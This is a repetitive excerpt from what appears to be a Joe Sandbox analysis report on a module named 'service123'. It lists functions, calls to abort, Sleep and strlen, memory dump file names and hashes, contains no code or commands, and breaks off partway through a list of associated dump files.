abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction ID: fe47e47af2832ef119fc8eb13db6f7a0b7cb6769e7e7029790671a5f7559dcb4
Opcode Fuzzy Hash: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction Fuzzy Hash: A1C01235989329CBC2202DD8535936AF2A4AB27205F122D18886533E00CB61F805C545

Function 6C7ABE98 Relevance: 37.5, APIs: 25, Instructions: 43COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction ID: 3b6e90ca4c2ef15386810c5fded6105c5e0a1e6b93dc67da8a3600d3c08229ff
Opcode Fuzzy Hash: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction Fuzzy Hash: 42C01239659229CB8310AEC4D3594A9B2B4BB6B304F012D54C41173B00C770F409C541

Function 6C7ABDE8 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction ID: 2bf2b18f30833c4a548e29dad7182cf6898de167f61a61a487cd2ab181e4ef40
Opcode Fuzzy Hash: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction Fuzzy Hash: 10C08C309CC329CB02103D88539E078B2B42727225B062E14C01033F00CA23E809C044

Function 6C7AC150 Relevance: 36.3, APIs: 24, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbf16805eee3efb85350a7101fd45742c586b5f778198080e7a5ad7eb473968
Instruction ID: 328391f590a328338eebf422338faa4abe253cdfea4d8043a234a9cebafcdece
Opcode Fuzzy Hash: 4dbf16805eee3efb85350a7101fd45742c586b5f778198080e7a5ad7eb473968
Instruction Fuzzy Hash: F3B1F471608346DFD720DF98C58075ABBF1BF86308F044A6DE9949BB42D336E806CB92

Function 6C7AC470 Relevance: 33.2, APIs: 22, Instructions: 152COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 193ad9b64f4fac70456655f4995a31919239bea119a444caa21e931692e9a254
Instruction ID: ffba75709deffb74f6fce24ae5de16460969430e071455c5786dba202259854d
Opcode Fuzzy Hash: 193ad9b64f4fac70456655f4995a31919239bea119a444caa21e931692e9a254
Instruction Fuzzy Hash: C041C3B1A012149FCB04DFA8C5917D9BBF5BF4A345F28857AE854EF782E3369402CB50

Function 6C7AD370 Relevance: 31.6, APIs: 21, Instructions: 130sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7ACD00: strlen.MSVCRT ref: 6C7ACD7D

Sleep.KERNEL32 ref: 6C7AD4D7
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 790489a91eb6e379d5db2e8fd9f4102d15556099571b1519fbe73bda7fceffda
Instruction ID: 1867896483f5121bb834c0f4949d57bd9eba9df2ba4dd0fe2f6d9d55c90b0cb7
Opcode Fuzzy Hash: 790489a91eb6e379d5db2e8fd9f4102d15556099571b1519fbe73bda7fceffda
Instruction Fuzzy Hash: 8F51DEA02083C0CAFF21CB79C1497557FF0676330CF08567DCA985B682D3BA5609C7AA

Function 6C7AD570 Relevance: 28.6, APIs: 19, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: e70362fac9371d0539db4aecce9f8634693eda52de4ae30fae33a2eb25087f5b
Instruction ID: c9cf4941eea8c66815156dee7418e04f547e83f627d4046490e6bd699b73ff51
Opcode Fuzzy Hash: e70362fac9371d0539db4aecce9f8634693eda52de4ae30fae33a2eb25087f5b
Instruction Fuzzy Hash: A431F5706093058FE3209F99DA8476ABBE0BBD5348F148A3DE99897B10E335D445CB85

Function 6C7AD67C Relevance: 28.5, APIs: 19, Instructions: 32COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction ID: 188c0f28127734e5159bdf874fe6e50b9069a0fb87f42e5be53466f31c394490
Opcode Fuzzy Hash: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction Fuzzy Hash: AEB01210CD9134C741203FE44B4E0B9B6747B33344700BC00412633D414B20F445C054

Function 6C7AD6C0 Relevance: 27.1, APIs: 18, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 53733a1bde6bacaa07aa3e46ea0726b243a9c09e1e418339f811893a3963a824
Instruction ID: d6eecd4fb3421968d78c91fb26a05844fb8c86a0ac6e74f080f6c16d8bd6d552
Opcode Fuzzy Hash: 53733a1bde6bacaa07aa3e46ea0726b243a9c09e1e418339f811893a3963a824
Instruction Fuzzy Hash: 0E417BB46093018FD314CF5AC68075ABBE0EF99308F108E2EE999D7711D335D8458B96

Function 6C7AD855 Relevance: 25.5, APIs: 17, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
